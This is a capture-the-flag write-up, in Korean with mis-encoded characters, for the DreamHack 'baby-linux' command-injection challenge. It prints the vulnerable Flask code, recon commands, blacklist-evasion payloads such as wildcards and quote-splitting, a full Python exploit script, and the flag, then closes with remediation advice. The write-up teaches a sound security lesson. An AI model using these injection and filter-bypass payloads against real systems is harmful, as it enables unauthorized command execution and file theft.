λ¬Έμ : DreamHack β baby-linux λΆλ₯: Misc (μΉμΌλ‘ μλΉμ€λλ command injection) λμ΄λ: π₯ Bronze 4 FLAG:
DH{671ce26c70829e716fae26c7c71a33823feb479f2562891f64605bf68f60ae54}
μ
λ ₯μΉΈ νλμ echo $( μ ) κ° μμμ λΆμ΄ μλ νμ΄μ§λ€. λ£μ κ°μ΄ κ·Έλλ‘ μ
Έ λͺ
λ Ή μΉν μμΌλ‘ λ€μ΄κ°λ, λͺ
λ Ή μ£Όμ
μ μ²μλΆν° μ΄λ € μλ€. λ§λ 건 λ± νλ β λ§λ€μ΄μ§ λͺ
λ Ή λ¬Έμμ΄μ flag λΌλ κΈμκ° λ³΄μ΄λ©΄ κ±°μ νλ€. κ·Έλμ "flag λ₯Ό μ°μ§ μκ³ flag νμΌμ μ½λ" κ² μ΄ λ¬Έμ μ μ λΆλ€.

λ¬Έμ κ°μ
| νλͺ© | λ΄μ© |
|---|---|
| λ¬Έμ λͺ | baby-linux |
| λμ΄λ | π₯ Bronze 4 |
| λΆλ₯ | Misc (command injection) |
| μ 곡 νμΌ / μλ² | app.py (Flask) + λΌμ΄λΈ μλ² |
| ν΅μ¬ μ·¨μ½μ / κΈ°λ² | echo $({user_input}) λͺ
λ Ή μ£Όμ
+ λΆλΆ λ¬Έμμ΄ flag νν°λ₯Ό μ
Έ μμΌλμΉ΄λλ‘ μ°ν |
νμ΄ νλ¦μ μ§§λ€. λͺ
λ Ή μ£Όμ
μΌλ‘ νμΌ κ΅¬μ‘°λ₯Ό μ μ°°ν΄ flag μμΉλ₯Ό μ°Ύκ³ , μ 곡λ²(cat .../flag.txt)μ΄ νν°μ λ§νλ κ±Έ νμΈν λ€, f* μμΌλμΉ΄λλ‘ flag κΈμ μμ΄ κ°μ νμΌμ μ½λλ€.
π§© λ°°κ²½ β $( ) λͺ
λ Ή μΉν
$(λͺ
λ Ή) μ μ
Έμ λͺ
λ Ή μΉν(command substitution) μ΄λ€. κ΄νΈ μμ λͺ
λ Ήμ λ¨Όμ μ€ννκ³ , κ·Έ νμ€ μΆλ ₯μΌλ‘ κ·Έ μ리λ₯Ό λ°κΏμΉκΈ°νλ€. echo $(date) κ° λ μ§λ₯Ό μ°λ μ΄μ λ€.
λ¬Έμ μλ²λ μ¬μ©μ μ λ ₯μ λ°λ‘ μ΄ κ΄νΈ μμ λ£λλ€.
cmd = f'echo $({user_input})'μ¦ μ
λ ₯μΉΈμ date λ₯Ό λ£μΌλ©΄ μλ²λ echo $(date) λ₯Ό λλ¦°λ€. κ΄νΈ μμ echo μ μΈμκ° μλλΌ μλ‘ μ€νλλ λͺ
λ Ήμ΄λΌ, μ¬κΈ°μ id, ls, cat 무μμ λ£λ κ·Έλλ‘ μ€νλλ€. λͺ
λ Ή μΉν μμ²΄κ° μ΄λ―Έ μμ λͺ
λ Ή μ€ν ν΅λ‘λ€.
π¬ μ½λ μ μ°°
μ 곡λ app.py λ ν νλ©΄μ λ€μ΄μ¨λ€.
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template
APP = Flask(__name__)
@APP.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
user_input = request.form.get('user_input')
cmd = f'echo $({user_input})'
if 'flag' in cmd:
return render_template('index.html', result='No!')
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('index.html', result=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('index.html', result='Timeout')
except subprocess.CalledProcessError:
return render_template('index.html', result='Error')
return render_template('index.html')λ³Ό κ³³μ μΈ μ€μ΄λ€.
-
cmd = f'echo $({user_input})'β μ λ ₯μ΄ μ Έ λͺ λ Ήμ λ¬Έμμ΄λ‘ κ·Έλλ‘ ν©μ³μ§λ€. μ΄μ€μΌμ΄νλ, μΈμ λΆλ¦¬λ μλ€. -
if 'flag' in cmdβ μ μΌν λ°©μ΄. μμ±λ λͺ λ Ή λ¬Έμμ΄μflagλΆλΆ λ¬Έμμ΄μ΄ μλμ§λ§ λ³Έλ€. μ κ·μλ ν ν° κ²μ¬λ μλκ³ λ¨μinμ΄λ€. -
subprocess.check_output(['/bin/sh', '-c', cmd], ...)β κ·Έ λ¬Έμμ΄μ/bin/sh -cλ‘ μ€ννκ³ μΆλ ₯μ κ·Έλλ‘ κ²°κ³Όλ‘ λλ €μ€λ€. μΆλ ₯μ΄ νλ©΄μ κ·Έλλ‘ μ°νλ blind κ° μλλΌ κ³§λ°λ‘ μ½νλ€.
무μμ μ μ΄ν μ μλ β μ§μ μ°λ¬λ³΄κΈ°
λ¨Όμ μ΄λ€ κΆνμΌλ‘ λλμ§λΆν° λ΄€λ€. μ
λ ₯μΉΈμ id λ₯Ό λ£λλ€.

uid=1000(chall) β νλ²ν μ¬μ©μλ€. 루νΈλ μλμ§λ§ flag νμΌλ§ μ½μΌλ©΄ λλ μκ΄μλ€. λ€μμ νμΌ κ΅¬μ‘°. ls -la /app μΌλ‘ μ± λλ ν 리λ₯Ό λ³Έλ€.

app.py μμ dream/ λλ ν 리μ hint.txt κ° λ³΄μΈλ€. ννΈλΆν° μ½λλ€.

Where is Flag? ./dream/hack/hello
flag λ /app/dream/hack/hello/flag.txt μ μλ€. μμΉλ μμμΌλ μ΄μ μ½κΈ°λ§ νλ©΄ λλλ°, μ¬κΈ°μλΆν° νν°κ° κ±Έλ¦°λ€.
π μ½μ§ β μ 곡λ²μ λ§νλ€
βΆπ μ½μ§ β cat .../flag.txt λ₯Ό κ·Έλλ‘ λ£μΌλ©΄ No!
μμΉλ₯Ό μμμΌλ λΉμ°ν cat /app/dream/hack/hello/flag.txt λ₯Ό λ¨Όμ λ£μ΄λ΄€λ€. κ·Έλ¬λ©΄ μλ²κ° λ§λ λͺ
λ Ήμ echo $(cat /app/dream/hack/hello/flag.txt) κ° λκ³ , μ΄ λ¬Έμμ΄μ flag κ° λ€μ΄ μλ€. if 'flag' in cmd μ κ·Έλλ‘ κ±Έλ € κ²°κ³Όλ No!.

λͺ
λ Ή μ체λ μ ν¨νλ€. λ¬Έμ λ λͺ
λ Ή λ¬Έμμ΄μ flag λΌλ λ€μ― κΈμκ° λ³΄μΈλ€λ κ² νλλΏμ΄λ€. κ·Έλ¬λ "κ°μ νμΌμ, flag λΌλ κΈμ μμ΄ κ°λ¦¬ν€λ λ°©λ²"λ§ μ°ΎμΌλ©΄ λλ€.
π£ ν΅μ¬ β λΆλΆ λ¬Έμμ΄ νν° vs μ Έ μμΌλμΉ΄λ
νν°λ λͺ
λ Ή λ¬Έμμ΄μ flag κ° λ³΄μ΄λμ§λ§ κ²μ¬νλ€. νμΌμ μ΄λ»κ² κ°λ¦¬ν€λ μκ΄μμ΄, λ΄κ° 보λ΄λ κΈμμ flag λ§ μμΌλ©΄ ν΅κ³Όλ€. κ·Έλ°λ° μ
Έμ νμΌλͺ
μ κΈμ κ·Έλλ‘ λ°μ§ μλλ€ β μμΌλμΉ΄λλ₯Ό λ¨Όμ νΌμΉλ€.
f* λ "νμ¬ μμΉμμ f λ‘ μμνλ λͺ¨λ μ΄λ¦"μΌλ‘ μ
Έμ΄ μ κ°νλ€. /app/dream/hack/hello/ μμλ flag.txt νλλΏμ΄λΌ, f* λ μ
Έ λ¨κ³μμ flag.txt λ‘ λ°λλ€. μ 리νλ©΄ μ΄λ λ€.
- λ΄κ° 보λ΄λ μ
λ ₯:
cat /app/dream/hack/hello/f*βflagκΈμ μμ β νν° ν΅κ³Ό - μ
Έμ΄ μ€μ λ‘ μ€ν:
cat /app/dream/hack/hello/flag.txtβ κΈλ‘λΉ μ κ° νλΌ νν°λ μ΄λ―Έ μ§λκ°
νν°λ νμ΄μ¬ λ¬Έμμ΄ λ¨κ³μμ, μμΌλμΉ΄λ μ κ°λ /bin/sh λ¨κ³μμ μΌμ΄λλ€. κ²μ¬ μμ κ³Ό μ€ν μμ μ΄ μ΄κΈλ μμ΄μ, κ²μ¬ λ μ 보μ΄λ flag κ° μ€ν λ μ겨λλ€.

f* λ§κ³ λ flag 리ν°λ΄λ§ νΌνλ©΄ λλ λλ€. λ°μ΄νλ‘ κΈμλ₯Ό μͺΌκ°λ fl''ag.txt(λΉ λ°μ΄νλ μ
Έμ΄ μ κ±°), ν κΈμλ§ κ°λ¦° fla?.txt, λ³μλ‘ λΌμλ£λ λ°©λ² λ± β λͺ¨λ κ°μ μ리λ€. λΆλΆ λ¬Έμμ΄ λΈλ리μ€νΈλ μ΄λ° μ°νμ λ³Έμ§μ μΌλ‘ μ½νλ€.
π― νμ΄
μ λ ₯μΉΈμ μμΌλμΉ΄λ νμ΄λ‘λλ₯Ό λ£λλ€.
cat /app/dream/hack/hello/f*μλ²κ° echo $(cat /app/dream/hack/hello/f*) λ₯Ό μ€ννκ³ , μ
Έμ΄ f* λ₯Ό flag.txt λ‘ νΌμ³ κ·Έ λ΄μ©μ κ²°κ³Όλ‘ λλ €μ€λ€.

DH{671ce26c70829e716fae26c7c71a33823feb479f2562891f64605bf68f60ae54}π Full Exploit
μ μ°°λΆν° μ°νκΉμ§λ₯Ό ν μ€ν¬λ¦½νΈλ‘ λ¬Άμλ€. POST λ‘ λͺ
λ Ήμ 보λ΄κ³ μλ΅μ <pre> μ κ²°κ³Όλ§ λ½μμ€λ μμ λνΌ νλλ©΄ μΆ©λΆνλ€.
#!/usr/bin/env python3
# baby-linux β command injection νν° μ°ν
# cmd = f'echo $({user_input})' λ₯Ό /bin/sh -c λ‘ μ€ν. cmd μ 'flag' κ°
# λ€μ΄κ°λ©΄ μ°¨λ¨λλ―λ‘, μμΌλμΉ΄λ(f*)λ‘ 'flag' 리ν°λ΄ μμ΄ flag.txt λ₯Ό μ½λλ€.
import re
import sys
import requests
URL = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:10799/"
def run(cmd):
"""user_input μΌλ‘ λͺ
λ Ήμ 보λ΄κ³ <pre> μμ κ²°κ³Όλ§ λ½μμ¨λ€."""
r = requests.post(URL, data={"user_input": cmd}, timeout=15)
m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
return m.group(1).strip() if m else "(no <pre>)"
print("[*] target :", URL)
print("[*] whoami :", run("id"))
print("[*] root :", run("ls /"))
print("[*] hint :", run("cat /app/hint.txt"))
# μ 곡λ²μ 'flag.txt' λ¬Έμμ΄ λλ¬Έμ μ°¨λ¨λλ€
print("[*] direct : cat .../flag.txt ->", run("cat /app/dream/hack/hello/flag.txt"))
# μμΌλμΉ΄λλ‘ 'flag' 리ν°λ΄μ νΌν΄ μ°ν
flag = run("cat /app/dream/hack/hello/f*")
print("[+] FLAG :", flag)μ§μ λ§νλ μ€(direct)κΉμ§ κ°μ΄ μ°μ΄ λλ©΄, νν°κ° μ€μ λ‘ λμνλλ° μ°νλ§ ν΅κ³Όνλ€λ κ² ν νλ©΄μ 보μΈλ€.

π κ²°λ‘
λΆλΆ λ¬Έμμ΄ λΈλ리μ€νΈλ μ°ν νλ©΄μ΄ λ무 λλ€.
if 'flag' in cmd λ "flag λΌλ κΈμκ° λ³΄μ΄λ©΄ λ§λλ€"λ λ°μμΈλ°, μ
Έμ κΈμλ₯Ό κΈμ κ·Έλλ‘ μ€ννμ§ μλλ€. μμΌλμΉ΄λΒ·λ°μ΄νΒ·λ³μΒ·μΈμ½λ©μ²λΌ κ°μ νμΌμ λ€λ₯Έ κΈμλ‘ κ°λ¦¬ν€λ λ°©λ²μ΄ λ무 λ§μ, κΈμ§μ΄ νλ κ°λ‘λ λ§μ μ μλ€. κ²μ¬νλ μμ (νμ΄μ¬ λ¬Έμμ΄)κ³Ό μ€νλλ μμ (μ
Έ μ κ° ν)μ΄ λ€λ₯΄λ€λ μ μ΄ ν΅μ¬μ΄λ€.
μ λλ‘ λ§μΌλ €λ©΄ μ Έμ κ±°μΉμ§ μμμΌ νλ€.
subprocess μ λ¬Έμμ΄μ /bin/sh -c λ‘ λκΈ°λ λμ , μΈμλ₯Ό 리μ€νΈλ‘ μ§μ μ λ¬(shell=False)νλ©΄ λͺ
λ Ή μΉνλ μμΌλμΉ΄λ μ κ°λ μΌμ΄λμ§ μλλ€. μ μ΄μ μ¬μ©μ μ
λ ₯μ λͺ
λ Ήμ ν©μΉλ μ€κ³ μ체λ₯Ό νΌνκ³ , κΌ νμνλ©΄ νμ© λͺ©λ‘(allowlist) κΈ°λ°μΌλ‘ μ
λ ₯μ κ²μ¦νλ κ² λ§λ€. μΆλ ₯μ κ·Έλλ‘ νλ©΄μ λλ €μ£Όλ κ²λ μ 보 λ
ΈμΆμ ν€μ΄λ€.
baby-linux λΌλ μ΄λ¦μ²λΌ κΈ°λ²μ λ¨μνμ§λ§, "νν°λ₯Ό μ°ννλ€"λ κ² κ²°κ΅ κ²μ¬ λ‘μ§κ³Ό μ€ν λ‘μ§ μ¬μ΄μ νμ μ°Ύλ μΌμ΄λΌλ κ±Έ 보μ¬μ£Όλ λ¬Έμ λ€.
Comments
λκΈ
λκΈμ λ¨κΈ°λ €λ©΄ λ‘κ·ΈμΈμ΄ νμν΄μ. (λ€μ΄λ² Β· κ΅¬κΈ κ³μ )
λκΈ λΆλ¬μ€λ μ€β¦